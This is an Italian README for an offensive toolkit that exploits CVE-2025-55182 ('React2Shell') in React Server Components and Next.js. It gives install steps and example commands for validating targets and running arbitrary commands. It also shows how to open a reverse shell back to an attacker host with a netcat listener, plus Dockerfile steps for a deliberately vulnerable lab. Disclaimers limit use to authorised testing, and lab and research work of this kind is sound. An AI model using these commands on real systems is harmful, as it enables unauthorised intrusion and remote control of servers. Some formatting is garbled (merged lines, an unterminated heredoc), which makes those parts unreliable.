
Un semplice toolkit per validare, sfruttare e ottenere una shell interattiva tramite la RCE di react2Shell su Next.js.
[!WARNING] Questo strumento è fornito esclusivamente per test autorizzati e scopi educativi. L'accesso non autorizzato alla rete e l'esfiltrazione di dati sono illegali. Gli utenti sono responsabili di garantire di avere la debita autorizzazione prima di utilizzare questo strumento su qualsiasi rete.
Questo repository contiene un semplice toolkit per validare, sfruttare e ottenere una shell interattiva tramite CVE-2025-55182, noto anche come React2Shell. Si tratta di una vulnerabilità critica di esecuzione remota di codice (RCE) pre-autenticazione in React Server Components (RSC) che interessa le versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0.
La vulnerabilità deriva da una deserializzazione non sicura nel protocollo Flight di React, consentendo a attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili. È stata divulgata il 3 dicembre 2025 e ha un punteggio CVSS di 10.0 (Critico). Sebbene colpisca principalmente React Server Components, ha implicazioni per framework come Next.js che utilizzano RSC.
Nota: Questo toolkit è destinato esclusivamente a scopi educativi e di ricerca. Lo sfruttamento non autorizzato di vulnerabilità è illegale e non etico. Utilizzare in modo responsabile e solo su sistemi di propria proprietà o per i quali si ha esplicita autorizzazione.
Per maggiori dettagli, consultare gli avvisi ufficiali:
requests, argparse (installare tramite pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
Lo script principale è sploit.py. Eseguilo con le seguenti opzioni:
python sploit.py --help
--target <URL>: L'URL del target (es. http://vulnerable-site.com).--mode <validate|sploit|shell>: Modalità di funzionamento.
validate: Verifica la vulnerabilità senza sfruttarla.sploit: Esegue un comando personalizzato.shell: Stabilisce una shell inversa interattiva.--command <CMD>: Comando da eseguire (richiesto per la modalità sploit).--lhost <IP>: Host locale per la shell inversa (richiesto per la modalità shell).--lport <PORT>: Porta locale per la shell inversa (default: 4444).Validare la vulnerabilità:
python sploit.py --target http://example.com --mode validate
Sfruttamento con esecuzione di comandi:
python sploit.py --target http://example.com --mode sploit --command "whoami"
Ottenere una shell interattiva:
Per prima cosa, imposta un listener (es. nc -lvnp 4444), poi:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Per approfondimenti tecnici:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000Hai finito. Il container si avvia in meno di 2 secondi ed è pronto per catene di prototype pollution → RCE.Comando opzionale per distruggere e riavviare in qualsiasi momento:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Consulta il blog di AWS Security per intelligence sulle minacce.
Questo strumento è fornito "così com'è" senza garanzia. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo toolkit. Ottieni sempre l'autorizzazione prima di testare le vulnerabilità.
I pull request sono benvenuti! Per modifiche sostanziali, apri prima un ticket.
Questo progetto è concesso in licenza secondo i termini della licenza MIT - consulta il file LICENSE per i dettagli.
